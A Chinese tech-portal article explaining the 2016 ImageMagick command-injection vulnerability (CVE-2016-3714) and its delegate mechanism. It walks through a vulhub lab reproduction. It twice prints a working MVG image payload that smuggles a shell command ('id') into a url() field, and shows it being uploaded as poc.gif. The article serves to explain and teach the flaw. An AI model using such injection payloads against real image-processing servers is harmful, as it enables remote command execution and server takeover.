0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

一款使用量很广的图片处理程序ImageMagick

Android编程精选 来源:小白学黑客 作者:小白哥 2022-08-16 10:18 次阅读

大家好,我是小白哥。

这两天,关于QQ盗号的安全事件相信大家已经听说了。各种各样的传言都有,一会儿数据库泄露了,一会儿API漏洞了,一会儿又是协议漏洞了,还有的说扫描二维码中招的,一时间众说纷纭。

在众多说法中,我看到了一个:只要点击图片就会中招!

好家伙,点图片就能中招,这可厉害了,要是对方发来一些诱惑的图片,年轻人把持不住那可咋整?

真有那么悬乎吗?

这不禁让我想起了几年前的一个漏洞,也是图片相关的,分享给大家看看。

那次漏洞的主角,是ImageMagick。

漏洞介绍

漏洞名称:Imagemagick 命令注入漏洞(CVE-2016-3714)

漏洞定级:高危

漏洞描述:ImageMagick 在处理恶意构造的图片文件时,对于文件中的 URL 未经严格过滤,可导致命令注入漏洞。通过命令注入漏洞,黑客可以在服务器上执行任意系统命令,获取服务器权限。

影响范围:ImageMagick 6.9.3-9本身及以前所有版本

漏洞原理

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。

但有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。

国外的安全人员为此新建了一个网站:https://imagetragick.com/

与这个漏洞相关的CVE有CVE-2016-3714CVE-2016-3715CVE-2016-3716CVE-2016-3717

其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的

参考代码:https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347

我们在ImageMagick的默认配置文件里可以看到所有的委托:/etc/ImageMagick/delegates.xml漏洞报告中给出的POC是利用了如下的这个委托:

"https"command=""curl"-s-k-o"%o""https:%M""/>

它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。

ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。

所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令:

pushgraphic-context
viewbox00640480
fill‘url(https://"|id;")’
popgraphic-context

这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞。

漏洞复现

  • 搭建靶机,教程:https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick
  • 下载vulhub:git clone https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick
  • 进入目录:cd /vulhub-master/imagemagick/imagetragick
  • 启动docker:docker-compose up -d 注意 我靶机 docker-compose.yml中端口为8888
6c4e0e0c-1cf7-11ed-ba43-dac502259ad0.png
  • 访问搭建的靶机ip:8888
6c62c91e-1cf7-11ed-ba43-dac502259ad0.png
  • 上传poc,新建一个txt文件,内容为:
pushgraphic-context
viewbox00640480
fill'url(https://"|id;")'
popgraphic-context

将文件保存为poc.gif

6c79b7a0-1cf7-11ed-ba43-dac502259ad0.png

上次poc.gif,点击提交,成功执行:

6c91dbf0-1cf7-11ed-ba43-dac502259ad0.png

这年头,除了链接,图片也不敢随便乱点了···

————————————————

漏洞原理和复现部分原文链接:https://blog.csdn.net/u011975363/article/details/118031227

审核编辑 :李倩


声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 数据库
    +关注

    关注

    7

    文章

    3799

    浏览量

    64374
  • 漏洞
    +关注

    关注

    0

    文章

    204

    浏览量

    15371
  • 图片处理
    +关注

    关注

    0

    文章

    16

    浏览量

    6868

原文标题:看图片也能中招!

文章出处:【微信号:AndroidPush,微信公众号:Android编程精选】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    使用Python+OpenCV处理图片

    如果给你图片作为背景,另外图片中的物体作为前景图,要把前景图中的物体叠加布置到背景图的中间位置,并且前景图中的物体需要在背景图中有旋转和投影,怎么
    的头像 发表于 12-23 15:54 130次阅读

    求推荐一款处理24V的差分编码器信号的芯片

    你好,我们先前用的是SN65LBC175AD处理5V的差分编码器信号,现在编码器换成24V的,希望能推荐一款处理24V的差分编码器信号的芯片,谢谢!
    发表于 12-18 06:52

    三星减少NAND生产光刻胶使用量

    近日,据相关报道,三星电子在3D NAND闪存生产领域取得了重要技术突破,成功大幅减少了光刻工艺中光刻胶的使用量。 据悉,三星已经制定了未来NAND闪存的生产路线图,并计划在这生产过程中,将光刻胶
    的头像 发表于 11-27 11:00 239次阅读

    如果设计一款桌面的机器玩具,最吸引人的外观与功能要有哪些?

    初步设想制作如下其中一款,有感兴趣的朋友可以帮提提意见。 A一款圆敦敦的音响状的“个人日程助手”,具备番茄闹钟、音乐播放、减压交互、语言对话、工作日报生成。 B一款迷你瓦利机器人,有
    发表于 10-19 18:25

    经过TAS5548EVM评估板处理输出的PWM信号,可以用哪一款型号的数字功放评估板处理

    您好,我想了解下,经过TAS5548EVM评估板处理输出的PWM信号,可以用哪一款型号的数字功放评估板处理?用TAS5631系列的板子处理
    发表于 10-18 07:13

    我想选一款音频芯片,性能类似TAS2505-Q1的,带有音频处理和D类功放功能二合

    TI工程师你好!我想选一款音频芯片,性能类似TAS2505-Q1的,带有音频处理和D类功放功能二合的,输出功率是20~30W单路双路输出都可以,是否有这样的芯片可选。谢谢!
    发表于 10-09 07:32

    基于ArkTS语言的OpenHarmony APP应用开发:图片处理

    1、程序介绍本案例使用TextArea实现多文本输入,使用mediaLibrary实现在相册中获取图片,使用image生成pixelMap,使用pixelMap的scale(),crop
    的头像 发表于 09-20 08:07 535次阅读
    基于ArkTS语言的OpenHarmony APP应用开发:<b class='flag-5'>图片</b><b class='flag-5'>处理</b>

    选用一款运放搭建单位增益运算放大电路遇到的问题求解

    当选用一款运放搭建单位增益运算放大电路的时候,经常遇到下面的问题,不知道这个问题的来源是什么? 输入信号: 这是正弦信号是比较理想的,波形不存在问题。 输出信号(下面的三幅图片为依次放大后的情况): 可以看到,在输出信号的波形中,存在细小的波纹。 那么,这种现实是
    发表于 08-22 06:32

    INA-138设计了一款电路,取样后1脚的输出不是个稳定的电平,如何处理

    设计了一款电路,使用到INA-138 ,SOT-23封装,取样后1脚的输出不是个稳定的电平,如何处理
    发表于 08-12 06:51

    如何设计一款50HZ陷波电路?

    如何设计一款50HZ陷波电路,有现成的参考电路设计吗
    发表于 07-30 06:12

    人工智能模型公司Anthropic近日推出了一款Claude移动端App

    制造Claude 3人工智能模型公司Anthropic近日推出了一款iOS应用程序,并为群组共享模型访问添加第二个付费层。
    的头像 发表于 05-08 09:55 688次阅读

    百度搜索重磅推出AI图片助手

    近日,百度搜索全新上线了一款名为“百度AI图片助手”的智能工具,该工具赋予了用户处理图片的强大能力。无论是搜索中的
    的头像 发表于 05-06 10:20 1458次阅读

    一款以32位ARMCortexTM-M0处理器内核为基础的高性价比安全MCU

    LKT6850是一款以32位ARMCortexTM -M0处理器内核为基础的高性价比安全MCU。LKT6850具有最高64KBFlash、4KBRAM、48MHZ工作频率,具有丰富的外设资源供开发人员使用。
    的头像 发表于 04-19 16:05 657次阅读

    如何设计一款四轮智能小车

    如何设计一款四轮智能小车 此部分共分为五个小节,通过这个 Part 的学习,我们将了解机器人的概念和组成,对机器人的整体设计有个明确的思路,然后通过机械结构、驱动系统、传感系统、控制系统四大
    的头像 发表于 03-26 10:58 783次阅读
    如何设计<b class='flag-5'>一款</b>四轮智能小车

    介绍一款基于java的渗透测试神器-CobaltStrike

    Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。
    的头像 发表于 01-16 09:16 972次阅读
    介绍<b class='flag-5'>一款</b>基于java的渗透测试神器-CobaltStrike